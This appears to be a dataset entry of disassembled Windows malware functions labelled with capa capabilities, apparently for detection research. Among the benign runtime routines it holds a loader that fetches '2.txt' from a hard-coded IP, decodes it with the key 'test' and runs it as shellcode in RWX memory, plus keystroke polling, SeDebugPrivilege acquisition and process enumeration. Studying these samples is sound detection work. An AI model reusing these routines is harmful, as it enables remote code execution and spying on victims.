joyce8/EMBER2024-capa huggingface dataset:
Function at 0x14075f058
Capabilities:
Decompress data using aplib

Disassembly:
call fcn.14075f1df
push r10
mov r10, rsp
push r10
mov rsi, qword [r10 + 0x10]
mov rdi, qword [r10 + 0x20]
cld
mov dl, 0x80
mov al, byte [rsi]
inc rsi
mov byte [rdi], al
inc rdi
mov ebx, 2
add dl, dl
jne 0x14075f089
mov dl, byte [rsi]
inc rsi
adc dl, dl
jae 0x14075f06f
add dl, dl
jne 0x14075f096
mov dl, byte [rsi]
inc rsi
adc dl, dl
jae 0x14075f0f6
xor eax, eax
add dl, dl
jne 0x14075f0a5
mov dl, byte [rsi]
inc rsi
adc dl, dl
jae 0x14075f1ad
add dl, dl
jne 0x14075f0b6
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x14075f0c3
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x14075f0d0
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x14075f0dd
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc eax, eax
je 0x14075f0ea
push rdi
mov eax, eax
sub rdi, rax
mov al, byte [rdi]
pop rdi
mov byte [rdi], al
inc rdi
mov ebx, 2
jmp 0x14075f07e
mov eax, 1
add dl, dl
jne 0x14075f106
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x14075f113
mov dl, byte [rsi]
inc rsi
adc dl, dl
jb 0x14075f0fb
sub eax, ebx
mov ebx, 1
jne 0x14075f14c
mov ecx, 1
add dl, dl
jne 0x14075f12e
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc ecx, ecx
add dl, dl
jne 0x14075f13b
mov dl, byte [rsi]
inc rsi
adc dl, dl
jb 0x14075f123
push rsi
mov rsi, rdi
sub rsi, rbp
rep movsb byte [rdi], byte [rsi]
pop rsi
jmp 0x14075f07e
dec eax
shl eax, 8
mov al, byte [rsi]
inc rsi
mov ebp, eax
mov ecx, 1
add dl, dl
jne 0x14075f168
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc ecx, ecx
add dl, dl
jne 0x14075f175
mov dl, byte [rsi]
inc rsi
adc dl, dl
jb 0x14075f15d
cmp eax, 0x7d00
jae 0x14075f19b
cmp eax, 0x500
jb 0x14075f196
inc ecx
push rsi
mov rsi, rdi
sub rsi, rax
rep movsb byte [rdi], byte [rsi]
pop rsi
jmp 0x14075f07e
cmp eax, 0x7f
ja 0x14075f19e
add ecx, 2
push rsi
mov rsi, rdi
sub rsi, rax
rep movsb byte [rdi], byte [rsi]
pop rsi
jmp 0x14075f07e
mov al, byte [rsi]
inc rsi
xor ecx, ecx
shr al, 1
je 0x14075f1d2
adc ecx, 2
mov ebp, eax
push rsi
mov rsi, rdi
sub rsi, rax
rep movsb byte [rdi], byte [rsi]
pop rsi
mov ebx, 1
jmp 0x14075f07e
pop r10
sub rdi, qword [r10 + 0x20]
mov eax, edi
pop r10
ret 0x20
Function at 0x14001100f
Capabilities:
Act as tcp client
Connect socket
Connect tcp socket
Create tcp socket
Initialize winsock library
Receive data
Receive data on socket
Send data
Send data on socket
Send http request
Send http request with host header

Disassembly:
jmp 0x1400118d0
mov qword [rsp + 8], rcx
push rbp
push rsi
push rdi
sub rsp, 0x9f0
lea rbp, [rsp + 0x20]
lea rdi, [rsp + 0x20]
mov ecx, 0x1b4
mov eax, 0xcccccccc
rep stosd dword [rdi], eax
mov rcx, qword [rsp + 0xa18]
mov rax, qword [0x14001f040]
xor rax, rbp
mov qword [rbp + 0x9c8], rax
lea rcx, [0x14002509f]
call fcn.1400113bb
nop
lea rdx, [rbp + 0x10]
mov cx, 0x202
call fcn.140011226
mov dword [rbp + 0x1c4], eax
mov rax, qword [rbp + 0x9f0]
mov qword [rbp + 0x1e8], rax
mov eax, 2
mov word [rbp + 0x208], ax
mov cx, 0x50
call fcn.140011375
mov word [rbp + 0x20a], ax
mov rcx, qword [rbp + 0x1e8]
call fcn.140011186
mov dword [rbp + 0x20c], eax
mov r8d, 6
mov edx, 1
mov ecx, 2
call fcn.140011118
mov dword [rbp + 0x234], eax
movsxd rax, dword [rbp + 0x234]
mov r8d, reloc.WS2_32.dll_recv
lea rdx, [rbp + 0x208]
mov rcx, rax
call fcn.1400111ef
nop
cmp dword [rbp + 0x234], 0xffffffff
je 0x1400119b4
cmp dword [rbp + 0x234], 0xfffffffe
jne 0x1400119bb
xor eax, eax
jmp 0x140011b36
lea rax, [rbp + 0x260]
lea rcx, str.GET
mov rdi, rax
mov rsi, rcx
mov ecx, 5
rep movsb byte [rdi], byte [rsi]
lea rax, [rbp + 0x265]
mov rdi, rax
xor eax, eax
mov ecx, 0x3fb
rep stosb byte [rdi], al
mov rdx, qword [str.:8080_2.txt]
lea rcx, [rbp + 0x260]
call fcn.1400113ac
nop
lea rdx, str._HTTP_1.1_r_nHost:
lea rcx, [rbp + 0x260]
call fcn.1400113ac
nop
mov rdx, qword [rbp + 0x9f0]
lea rcx, [rbp + 0x260]
call fcn.1400113ac
nop
lea rdx, str._r_nConnection:Close_r_n_r_n
lea rcx, [rbp + 0x260]
call fcn.1400113ac
nop
lea rcx, [rbp + 0x260]
call fcn.140011190
movsxd rcx, dword [rbp + 0x234]
xor r9d, r9d
mov r8d, eax
lea rdx, [rbp + 0x260]
call fcn.1400113e8
mov dword [rbp + 0x674], eax
mov dword [rbp + 0x694], 0x1800
mov edx, 1
mov ecx, 0x1800
call qword [sym.imp.ucrtbased.dll_calloc]
mov qword [rbp + 0x6b8], rax
movsxd rax, dword [rbp + 0x234]
xor r9d, r9d
mov r8d, 0x17ff
mov rdx, qword [rbp + 0x6b8]
mov rcx, rax
call fcn.14001112c
mov dword [rbp + 0x674], eax
xor eax, eax
cmp eax, 1
je 0x140011b07
mov rax, qword [rbp + 0x6b8]
movsx eax, byte [rax]
cmp eax, 0xd
jne 0x140011af4
mov rax, qword [rbp + 0x6b8]
movsx eax, byte [rax + 1]
cmp eax, 0xa
jne 0x140011af4
mov rax, qword [rbp + 0x6b8]
movsx eax, byte [rax + 2]
cmp eax, 0xd
jne 0x140011af4
mov rax, qword [rbp + 0x6b8]
movsx eax, byte [rax + 3]
cmp eax, 0xa
jne 0x140011af4
jmp 0x140011b07
mov rax, qword [rbp + 0x6b8]
inc rax
mov qword [rbp + 0x6b8], rax
jmp 0x140011aaa
mov rax, qword [rbp + 0x6b8]
add rax, 4
mov qword [rbp + 0x6b8], rax
movsxd rax, dword [rbp + 0x234]
mov rcx, rax
call fcn.14001128a
nop
call fcn.1400111b8
nop
mov rax, qword [rbp + 0x6b8]
mov rdi, rax
lea rcx, [rbp - 0x20]
lea rdx, reloc.WS2_32.dll_closesocket
call fcn.14001133e
mov rax, rdi
mov rcx, qword [rbp + 0x9c8]
xor rcx, rbp
call fcn.1400111d1
lea rsp, [rbp + 0x9d0]
pop rdi
pop rsi
pop rbp
ret
Function at 0x1400111ef
Capabilities:
Connect socket

Disassembly:
jmp 0x140012b0f
jmp qword [sym.imp.WS2_32.dll_connect]

Function at 0x140011217
Capabilities:
Terminate process

Disassembly:
jmp 0x140013f80
mov qword [rsp + 8], rcx
sub rsp, 0x28
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SetUnhandledExceptionFilter]
mov rcx, qword [rsp + 0x30]
call qword [sym.imp.KERNEL32.dll_UnhandledExceptionFilter]
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov edx, 0xc0000409
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_TerminateProcess]
nop
add rsp, 0x28
ret

Function at 0x14001129e
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call

Disassembly:
jmp 0x1400129f0
push rbp
push rdi
sub rsp, 0x168
lea rbp, [rsp + 0x20]
lea rcx, [0x14002509f]
call fcn.1400113bb
nop
mov qword [rbp + 8], 0
mov rcx, qword [str.106.15.3.99]
call fcn.14001100f
mov qword [rbp + 8], rax
mov rcx, qword [rbp + 8]
call fcn.140011190
mov dword [rbp + 0x24], eax
mov edx, 1
mov ecx, 0x1800
call qword [sym.imp.ucrtbased.dll_calloc]
mov qword [rbp + 0x48], rax
movsxd rax, dword [rbp + 0x24]
mov r8, rax
mov rdx, qword [rbp + 8]
mov rcx, qword [rbp + 0x48]
call fcn.140011406
nop
mov rcx, qword [rbp + 0x48]
call fcn.1400112a3
nop
mov eax, dword [0x14001f018]
mov dword [rbp + 0x24], eax
mov r8d, dword [rbp + 0x24]
lea rdx, str.test
mov rcx, qword [rbp + 0x48]
call fcn.1400113d9
nop
mov rcx, qword [rbp + 0x48]
call fcn.1400112a3
nop
mov r9d, 0x40
mov r8d, 0x1000
mov edx, 0x400
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov qword [rbp + 0x68], rax
mov r8d, 0x400
mov rdx, qword [rbp + 0x48]
mov rcx, qword [rbp + 0x68]
call fcn.140011406
nop
call qword [rbp + 0x68]
nop
xor eax, eax
lea rsp, [rbp + 0x148]
pop rdi
pop rbp
ret

Function at 0x1400112ad
Capabilities:
Parse pe header

Disassembly:
jmp 0x1400152d0
sub rsp, 0x38
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
mov qword [rsp + 0x20], rax
cmp qword [rsp + 0x20], 0
jne 0x1400152f0
xor al, al
jmp 0x140015371
mov rax, qword [rsp + 0x20]
movzx eax, word [rax]
cmp eax, 0x5a4d
je 0x140015303
xor al, al
jmp 0x140015371
mov rax, qword [rsp + 0x20]
movsxd rax, dword [rax + 0x3c]
mov rcx, qword [rsp + 0x20]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x28], rax
mov rax, qword [rsp + 0x28]
cmp dword [rax], 0x4550
je 0x14001532d
xor al, al
jmp 0x140015371
mov rax, qword [rsp + 0x28]
movzx eax, word [rax + 0x18]
cmp eax, 0x20b
je 0x140015341
xor al, al
jmp 0x140015371
mov rax, qword [rsp + 0x28]
cmp dword [rax + 0x84], 0xe
ja 0x140015353
xor al, al
jmp 0x140015371
mov eax, 8
imul rax, rax, 0xe
mov rcx, qword [rsp + 0x28]
cmp dword [rcx + rax + 0x88], 0
jne 0x14001536f
xor al, al
jmp 0x140015371
mov al, 1
add rsp, 0x38
ret
Function at 0x1400131b0
Capabilities:
Terminate process

Disassembly:
sub rsp, 0x68
mov ecx, 1
call fcn.1400113f2
movzx eax, al
test eax, eax
jne 0x1400131d0
mov ecx, 7
call fcn.140011348
nop
mov byte [rsp + 0x20], 0
call fcn.14001135c
mov byte [rsp + 0x21], al
cmp dword [0x14001f8a8], 1
jne 0x1400131f4
mov ecx, 7
call fcn.140011348
nop
jmp 0x14001324c
cmp dword [0x14001f8a8], 0
jne 0x140013247
mov dword [0x14001f8a8], 1
lea rdx, [0x14001b660]
lea rcx, [0x14001b330]
call fcn.1400111bd
test eax, eax
je 0x140013228
mov eax, 0xff
jmp 0x140013351
lea rdx, [0x14001b220]
lea rcx, [section..rdata]
call fcn.140011352
mov dword [0x14001f8a8], 2
jmp 0x14001324c
mov byte [rsp + 0x20], 1
movzx ecx, byte [rsp + 0x21]
call fcn.140011334
call fcn.1400112d0
mov qword [rsp + 0x30], rax
mov rax, qword [rsp + 0x30]
cmp qword [rax], 0
je 0x1400132a9
mov rcx, qword [rsp + 0x30]
call fcn.14001116d
movzx eax, al
test eax, eax
je 0x1400132a9
mov rax, qword [rsp + 0x30]
mov rax, qword [rax]
mov qword [rsp + 0x48], rax
mov rax, qword [rsp + 0x48]
mov qword [rsp + 0x50], rax
xor r8d, r8d
mov edx, 2
xor ecx, ecx
mov rax, qword [rsp + 0x50]
call qword [0x140026020]
nop
call fcn.140011302
mov qword [rsp + 0x38], rax
mov rax, qword [rsp + 0x38]
cmp qword [rax], 0
je 0x1400132dd
mov rcx, qword [rsp + 0x38]
call fcn.14001116d
movzx eax, al
test eax, eax
je 0x1400132dd
mov rax, qword [rsp + 0x38]
mov rcx, qword [rax]
call fcn.140011398
nop
call fcn.140013400
mov dword [rsp + 0x28], eax
call fcn.1400112ad
movzx eax, al
test eax, eax
jne 0x1400132fc
mov ecx, dword [rsp + 0x28]
call fcn.14001105f
nop
movzx eax, byte [rsp + 0x20]
test eax, eax
jne 0x14001330b
call fcn.1400113a2
nop
xor edx, edx
mov cl, 1
call fcn.14001115e
mov eax, dword [rsp + 0x28]
jmp 0x140013351
add rsp, 0x68
ret
Function at 0x140021692
Capabilities:
Enumerate process modules

Disassembly:
mov qword [rsp + 8], rcx
mov qword [rsp + 0x10], rdx
push rbp
push r15
mov rax, 0x8c
sub rsp, 8
mov qword [rsp], 0
dec rax
jne 0x1400216a6
sub rsp, 0x28
call fcn.140044c50
mov rdx, qword [rsp + 0x4a8]
lea rcx, [rsp + 0x28]
sub rsp, 0x10
call fcn.140044cc0
add rsp, 0x10
mov dword [0x1400fd001], 0x4000096
mov dword [0x1400fd001], 0x400009a
push qword [rsp + 0x4a0]
push 0x18
pop rcx
pop rdx
call sub.KERNEL32.dll_CreateToolhelp32Snapshot
mov qword [rsp + 0x468], rax
mov dword [0x1400fd001], 0x400009b
cmp qword [rsp + 0x468], 0
je 0x140021898
mov dword [0x1400fd001], 0x400009c
lea rbp, [rsp + 0x30]
mov dword [rbp], 0x438
mov dword [0x1400fd001], 0x400009d
lea rax, [rsp + 0x30]
mov rax, rax
push rax
push qword [rsp + 0x470]
pop rcx
pop rdx
call sub.KERNEL32.dll_Module32FirstW
mov qword [rsp + 0x470], rax
mov dword [0x1400fd001], 0x400009e
cmp qword [rsp + 0x470], 0
je 0x140021881
mov dword [0x1400fd001], 0x400009f
push rcx
sub rsp, 0x28
call fcn.140044830
add rsp, 0x28
pop rcx
push rax
sub rsp, 8
push 1
push 1
push qword [rsp + 0x48]
push rcx
sub rsp, 0x20
call fcn.140044830
add rsp, 0x20
pop rcx
push rax
push rcx
sub rsp, 0x28
call fcn.140044830
add rsp, 0x28
pop rcx
push rax
lea rbp, [rsp + 0x68]
lea rax, [rbp + 0x30]
mov rax, rax
push rax
pop rcx
pop rdx
sub rsp, 0x20
call fcn.140043330
add rsp, 0x20
push rax
call fcn.140044a60
mov rdx, rax
pop rax
add qword [rsp], rdx
pop rcx
pop rdx
pop r8
pop r9
sub rsp, 0x20
call fcn.1400420e0
add rsp, 0x28
pop rcx
push rax
sub rsp, 0x28
call fcn.140026ee0
add rsp, 0x28
pop rax
and rax, rax
je 0x14002183f
mov dword [0x1400fd001], 0x40000a0
lea rbp, [rsp + 0x30]
push qword [rbp + 0x18]
pop rax
mov qword [rsp + 0x478], rax
mov dword [0x1400fd001], 0x40000a1
jmp 0x140021881
mov dword [0x1400fd001], 0x40000a2
mov dword [0x1400fd001], 0x40000a3
lea rax, [rsp + 0x30]
mov rax, rax
push rax
push qword [rsp + 0x470]
pop rcx
pop rdx
call sub.KERNEL32.dll_Module32NextW
mov qword [rsp + 0x470], rax
mov dword [0x1400fd001], 0x40000a4
jmp 0x140021761
mov dword [0x1400fd001], 0x40000a5
push qword [rsp + 0x468]
pop rcx
call sub.KERNEL32.dll_CloseHandle
mov dword [0x1400fd001], 0x40000a6
mov dword [0x1400fd001], 0x40000a8
mov rax, qword [rsp + 0x478]
jmp 0x1400218c3
push rax
mov rcx, qword [rsp + 0x30]
sub rsp, 0x28
call fcn.140044d30
add rsp, 0x28
pop rax
add rsp, 0x488
pop r15
pop rbp
ret
Function at 0x140022bc8
Capabilities:
Get system information on windows

Disassembly:
mov qword [rsp + 8], rcx
push rbp
push r15
mov rax, 0xa
sub rsp, 8
mov qword [rsp], 0
dec rax
jne 0x140022bd7
sub rsp, 0x28
call fcn.140044c50
mov dword [0x1400fd001], 0x400007f
mov dword [0x1400fd001], 0x4000081
mov qword [rsp + 0x70], 0
mov dword [0x1400fd001], 0x4000083
lea rax, [rsp + 0x40]
mov rax, rax
push rax
pop rcx
call sub.KERNEL32.dll_GetNativeSystemInfo
mov dword [0x1400fd001], 0x4000084
lea rbp, [rsp + 0x40]
movsx r15, word [rbp]
cmp r15, 9
jne 0x140022d3f
mov dword [0x1400fd001], 0x4000085
movabs rax, str.IsWow64Process
push rax
movabs rax, str.kernel32.dll
push rax
pop rcx
pop rdx
call fcn.140022a67
mov qword [rsp + 0x28], rax
mov dword [0x1400fd001], 0x4000086
cmp qword [rsp + 0x28], 0
je 0x140022d35
mov dword [0x1400fd001], 0x4000087
push qword [rsp + 0x90]
push 0
push 0x400
pop rcx
pop rdx
pop r8
call sub.KERNEL32.dll_OpenProcess
mov qword [rsp + 0x38], rax
mov dword [0x1400fd001], 0x4000088
cmp qword [rsp + 0x38], 0
je 0x140022d2b
mov dword [0x1400fd001], 0x4000089
lea rax, [rsp + 0x30]
mov rax, rax
push rax
push qword [rsp + 0x40]
push qword [rsp + 0x38]
pop rcx
pop rdx
pop r8
call fcn.14002b4bc
mov dword [0x1400fd001], 0x400008a
push qword [rsp + 0x38]
pop rcx
call sub.KERNEL32.dll_CloseHandle
mov dword [0x1400fd001], 0x400008b
mov r15, qword [rsp + 0x30]
and r15, r15
jne 0x140022d21
mov dword [0x1400fd001], 0x400008c
mov qword [rsp + 0x70], 1
mov dword [0x1400fd001], 0x400008d
mov dword [0x1400fd001], 0x400008e
mov dword [0x1400fd001], 0x400008f
mov dword [0x1400fd001], 0x4000090
mov dword [0x1400fd001], 0x4000092
mov rax, qword [rsp + 0x70]
jmp 0x140022d67
add rsp, 0x78
pop r15
pop rbp
ret
Function at 0x14002301d
Capabilities:
Acquire debug privileges

Disassembly:
push rbp
push r15
mov rax, 8
sub rsp, 8
mov qword [rsp], 0
dec rax
jne 0x140023027
sub rsp, 0x28
call fcn.140044c50
mov dword [0x1400fd001], 0x171
mov dword [0x1400fd001], 0x172
mov byte [rsp + 0x28], 0
mov dword [0x1400fd001], 0x174
lea rax, [rsp + 0x30]
mov rax, rax
push rax
push 0x28
sub rsp, 0x20
call sub.KERNEL32.dll_GetCurrentProcess
add rsp, 0x20
mov rax, rax
push rax
pop rcx
pop rdx
pop r8
call sub.ADVAPI32.DLL_OpenProcessToken
and rax, rax
je 0x1400231bc
mov dword [0x1400fd001], 0x175
lea rax, [rsp + 0x38]
mov dword [0x1400fd001], 0x177
lea rax, [rsp + 0x38]
mov rax, rax
push rax
movabs rax, str.SeDebugPrivilege
push rax
push 0
pop rcx
pop rdx
pop r8
call sub.ADVAPI32.DLL_LookupPrivilegeValueW
and rax, rax
je 0x14002319e
mov dword [0x1400fd001], 0x178
lea rax, [rsp + 0x40]
mov dword [0x1400fd001], 0x17b
lea rbp, [rsp + 0x40]
mov dword [rbp], 1
mov dword [0x1400fd001], 0x17c
lea rbp, [rsp + 0x38]
movsxd rax, dword [rbp]
push rax
lea rbp, [rsp + 0x48]
push rbp
pop rbp
pop rax
mov dword [rbp + 4], eax
mov dword [0x1400fd001], 0x17d
lea rbp, [rsp + 0x38]
movsxd rax, dword [rbp + 4]
push rax
lea rbp, [rsp + 0x48]
push rbp
pop rbp
pop rax
mov dword [rbp + 8], eax
mov dword [0x1400fd001], 0x17e
push rbp
pop rbp
mov dword [rbp + 0xc], 2
mov dword [0x1400fd001], 0x180
lea rax, [rsp + 0x60]
mov rax, rax
push rax
lea rax, [rsp + 0x58]
mov rax, rax
push rax
push 0x10
lea rax, [rsp + 0x58]
mov rax, rax
push rax
push 0
push qword [rsp + 0x58]
pop rcx
pop rdx
pop r8
pop r9
sub rsp, 0x20
call sub.ADVAPI32.DLL_AdjustTokenPrivileges
add rsp, 0x30
mov rax, rax
push rax
pop rax
mov byte [rsp + 0x28], al
mov dword [0x1400fd001], 0x181
mov dword [0x1400fd001], 0x182
push qword [rsp + 0x30]
pop rcx
call sub.KERNEL32.dll_CloseHandle
mov dword [0x1400fd001], 0x183
mov dword [0x1400fd001], 0x184
movsx rax, byte [rsp + 0x28]
movsx rax, al
jmp 0x1400231e9
add rsp, 0x68
pop r15
pop rbp
ret

Function at 0x140024172
Capabilities:
Log keystrokes via polling

Disassembly:
mov qword [rsp + 8], rcx
push r15
xor rax, rax
push rax
sub rsp, 0x28
call fcn.140044c50
mov dword [0x1400fd001], 0x100002b
mov dword [0x1400fd001], 0x100002c
push qword [rsp + 0x40]
pop rcx
call sub.USER32.DLL_GetAsyncKeyState
mov r15, rax
and r15, 0x8000
and r15, r15
je 0x1400241c6
mov dword [0x1400fd001], 0x100002d
mov rax, 1
jmp 0x1400241dd
mov dword [0x1400fd001], 0x100002e
mov dword [0x1400fd001], 0x100002f
xor rax, rax
add rsp, 0x30
pop r15
ret
Function at 0x1400244ab
Capabilities:
Get graphical window text

Disassembly:
mov qword [rsp + 8], rcx
push r15
xor rax, rax
push rax
push rax
push rax
sub rsp, 0x28
call fcn.140044c50
mov rdx, qword [rsp + 0x50]
lea rcx, [rsp + 0x28]
sub rsp, 0x10
call fcn.140044cc0
add rsp, 0x10
mov dword [0x1400fd001], 0x3b7
mov dword [0x1400fd001], 0x3b9
push 5
sub rsp, 8
sub rsp, 0x20
call sub.USER32.DLL_GetDesktopWindow
add rsp, 0x28
mov rax, rax
push rax
pop rcx
pop rdx
call sub.USER32.DLL_GetWindow
mov qword [rsp + 0x30], rax
mov dword [0x1400fd001], 0x3ba
cmp qword [rsp + 0x30], 0
je 0x1400246d3
mov dword [0x1400fd001], 0x3bb
push rcx
sub rsp, 0x28
call fcn.140044830
add rsp, 0x28
pop rcx
push rax
sub rsp, 8
push rcx
sub rsp, 0x28
call fcn.140044830
add rsp, 0x28
pop rcx
push rax
sub rsp, 8
push qword [rsp + 0x50]
pop rcx
sub rsp, 0x20
call sub.USER32.DLL_GetWindowTextLengthW
add rsp, 0x28
mov r15, rax
add r15, 2
mov rax, r15
push rax
pop rcx
pop rdx
sub rsp, 0x20
call fcn.140042bb0
add rsp, 0x28
lea rcx, [rsp + 0x40]
pop rdx
call fcn.1400448f0
mov dword [0x1400fd001], 0x3bc
push qword [rsp + 0x38]
pop rcx
call fcn.140042170
mov rax, rax
push rax
push qword [rsp + 0x40]
push qword [rsp + 0x40]
pop rcx
pop rdx
pop r8
call sub.USER32.DLL_GetWindowTextW
mov dword [0x1400fd001], 0x3bd
push rcx
sub rsp, 0x28
call fcn.140044830
add rsp, 0x28
pop rcx
push rax
sub rsp, 8
push rcx
sub rsp, 0x28
call fcn.140044830
add rsp, 0x28
pop rcx
push rax
sub rsp, 8
push rcx
sub rsp, 0x28
call fcn.140044830
add rsp, 0x28
pop rcx
push rax
push qword [rsp + 0x50]
pop rcx
pop rdx
sub rsp, 0x20
call fcn.140042d00
add rsp, 0x28
call fcn.140044b80
push rcx
sub rsp, 0x20
call fcn.140044830
add rsp, 0x20
pop rcx
push rax
push rcx
sub rsp, 0x28
call fcn.140044830
add rsp, 0x28
pop rcx
push rax
push qword [rsp + 0x60]
pop rcx
pop rdx
sub rsp, 0x20
call fcn.140042d00
add rsp, 0x20
push rax
call fcn.140044a60
mov rdx, rax
pop rax
add qword [rsp], rdx
push rax
call fcn.140044a60
mov rdx, rax
pop rax
add qword [rsp + 8], rdx
pop rcx
pop rdx
sub rsp, 0x20
call fcn.140041fe0
add rsp, 0x28
pop rcx
push rax
sub rsp, 0x28
call fcn.140026ee0
add rsp, 0x28
pop rax
and rax, rax
je 0x14002469b
mov dword [0x1400fd001], 0x3be
mov rax, 1
jmp 0x1400246ef
mov dword [0x1400fd001], 0x3bf
mov dword [0x1400fd001], 0x3c0
push 2
push qword [rsp + 0x38]
pop rcx
pop rdx
call sub.USER32.DLL_GetWindow
mov qword [rsp + 0x30], rax
mov dword [0x1400fd001], 0x3c1
jmp 0x140024512
mov dword [0x1400fd001], 0x3c2
xor rax, rax
jmp 0x1400246ef
push rax
mov rcx, qword [rsp + 0x30]
sub rsp, 0x28
call fcn.140044d30
add rsp, 0x28
mov rcx, qword [rsp + 0x40]
sub rsp, 0x28
call fcn.140044d30
add rsp, 0x28
pop rax
add rsp, 0x40
pop r15
ret
Function at 0x140025550
Capabilities:
Enumerate processes

Disassembly:
mov qword [rsp + 8], rcx
push rbp
mov rax, 0x4b
sub rsp, 8
mov qword [rsp], 0
dec rax
jne 0x14002555d
sub rsp, 0x28
call fcn.140044c50
mov rdx, qword [rsp + 0x290]
lea rcx, [rsp + 0x28]
sub rsp, 0x10
call fcn.140044cc0
add rsp, 0x10
mov dword [0x1400fd001], 0x200006b
mov dword [0x1400fd001], 0x200006f
lea rbp, [rsp + 0x38]
mov dword [rbp], 0x238
mov dword [0x1400fd001], 0x2000071
push 0
push 2
pop rcx
pop rdx
call sub.KERNEL32.dll_CreateToolhelp32Snapshot
mov qword [rsp + 0x30], rax
mov dword [0x1400fd001], 0x2000072
cmp qword [rsp + 0x30], 0
je 0x1400257c2
mov dword [0x1400fd001], 0x2000073
lea rbp, [rsp + 0x38]
mov dword [rbp], 0x238
mov dword [0x1400fd001], 0x2000074
lea rax, [rsp + 0x38]
mov rax, rax
push rax
push qword [rsp + 0x38]
pop rcx
pop rdx
call sub.KERNEL32.dll_Process32FirstW
and rax, rax
je 0x1400257a4
mov dword [0x1400fd001], 0x2000075
mov dword [0x1400fd001], 0x2000076
push rcx
sub rsp, 0x28
call fcn.140044830
add rsp, 0x28
pop rcx
push rax
sub rsp, 8
push rcx
sub rsp, 0x28
call fcn.140044830
add rsp, 0x28
pop rcx
push rax
lea rbp, [rsp + 0x50]
lea rax, [rbp + 0x2c]
mov rax, rax
push rax
pop rcx
pop rdx
sub rsp, 0x20
call fcn.140043330
add rsp, 0x28
lea rcx, [rsp + 0x278]
pop rdx
call fcn.1400448f0
mov dword [0x1400fd001], 0x2000078
push rcx
sub rsp, 0x28
call fcn.140044830
add rsp, 0x28
pop rcx
push rax
sub rsp, 8
push rcx
sub rsp, 0x28
call fcn.140044830
add rsp, 0x28
pop rcx
push rax
push qword [rsp + 0x288]
pop rcx
pop rdx
sub rsp, 0x20
call fcn.1400422e0
add rsp, 0x28
call fcn.140044b80
push rcx
sub rsp, 0x20
call fcn.140044830
add rsp, 0x20
pop rcx
push rax
push rcx
sub rsp, 0x28
call fcn.140044830
add rsp, 0x28
pop rcx
push rax
push qword [rsp + 0x40]
pop rcx
pop rdx
sub rsp, 0x20
call fcn.1400422e0
add rsp, 0x20
pop rcx
sub rsp, 8
call fcn.140044bb0
add rsp, 8
mov rcx, rax
pop rdx
push rcx
mov rcx, rdx
sub rsp, 0x20
call fcn.140044bb0
add rsp, 0x20
pop rcx
mov rdx, rax
call fcn.1400449d0
or rax, rax
je 0x140025762
mov dword [0x1400fd001], 0x2000079
push qword [rsp + 0x30]
pop rcx
call sub.KERNEL32.dll_CloseHandle
mov dword [0x1400fd001], 0x200007a
lea rbp, [rsp + 0x38]
movsxd rax, dword [rbp + 8]
movsxd rax, eax
jmp 0x1400257eb
mov dword [0x1400fd001], 0x200007b
mov dword [0x1400fd001], 0x200007c
lea rax, [rsp + 0x38]
mov rax, rax
push rax
push qword [rsp + 0x38]
pop rcx
pop rdx
call sub.KERNEL32.dll_Process32NextW
and rax, rax
je 0x140025794
xor rax, rax
jmp 0x14002579b
mov rax, 1
and rax, rax
je 0x140025624
mov dword [0x1400fd001], 0x200007d
mov dword [0x1400fd001], 0x200007e
push qword [rsp + 0x30]
pop rcx
call sub.KERNEL32.dll_CloseHandle
mov dword [0x1400fd001], 0x200007f
mov dword [0x1400fd001], 0x2000081
xor rax, rax
movsxd rax, eax
jmp 0x1400257eb
push rax
mov rcx, qword [rsp + 0x278]
sub rsp, 0x28
call fcn.140044d30
add rsp, 0x28
mov rcx, qword [rsp + 0x30]
sub rsp, 0x28
call fcn.140044d30
add rsp, 0x28
pop rax
add rsp, 0x280
pop rbp
ret
Function at 0x140026ee0
Capabilities:
Get thread local storage value

Disassembly:
sub rsp, 0x48
mov qword [rsp + 0x28], rax
mov qword [rsp + 0x30], rcx
call sub.KERNEL32.dll_GetLastError
mov qword [rsp + 0x38], rax
mov rcx, qword [0x1401376f0]
call sub.KERNEL32.dll_TlsGetValue
mov rcx, qword [rsp + 0x30]
mov qword [rax + 0x10], rcx
mov rcx, qword [rsp + 0x38]
call sub.KERNEL32.dll_SetLastError
mov rax, qword [rsp + 0x28]
add rsp, 0x48
ret

Function at 0x1400273f8
Capabilities:
Get thread local storage value
Set thread local storage value

Disassembly:
push rbx
sub rsp, 0x20
mov ecx, dword [0x14014a808]
call qword [sym.imp.KERNEL32.dll_TlsGetValue]
mov rbx, rax
test rax, rax
jne 0x140027452
mov r8, qword [0x1400fd222]
mov rcx, qword [0x140149478]
lea edx, [rax + 8]
call qword [sym.imp.KERNEL32.dll_HeapAlloc]
mov ecx, dword [0x14014a808]
mov rdx, rax
mov rbx, rax
call qword [sym.imp.KERNEL32.dll_TlsSetValue]
mov rcx, rbx
call fcn.140026e65
lea rcx, [0x1400273d0]
mov rdx, rbx
call fcn.140027730
mov rax, rbx
add rsp, 0x20
pop rbx
ret

Function at 0x14002745c
Capabilities:
Allocate thread local storage
Get thread local storage value
Set thread local storage value

Disassembly:
sub rsp, 0x28
call qword [sym.imp.KERNEL32.dll_TlsAlloc]
mov dword [0x14014a808], eax
add rsp, 0x28
jmp fcn.1400273f8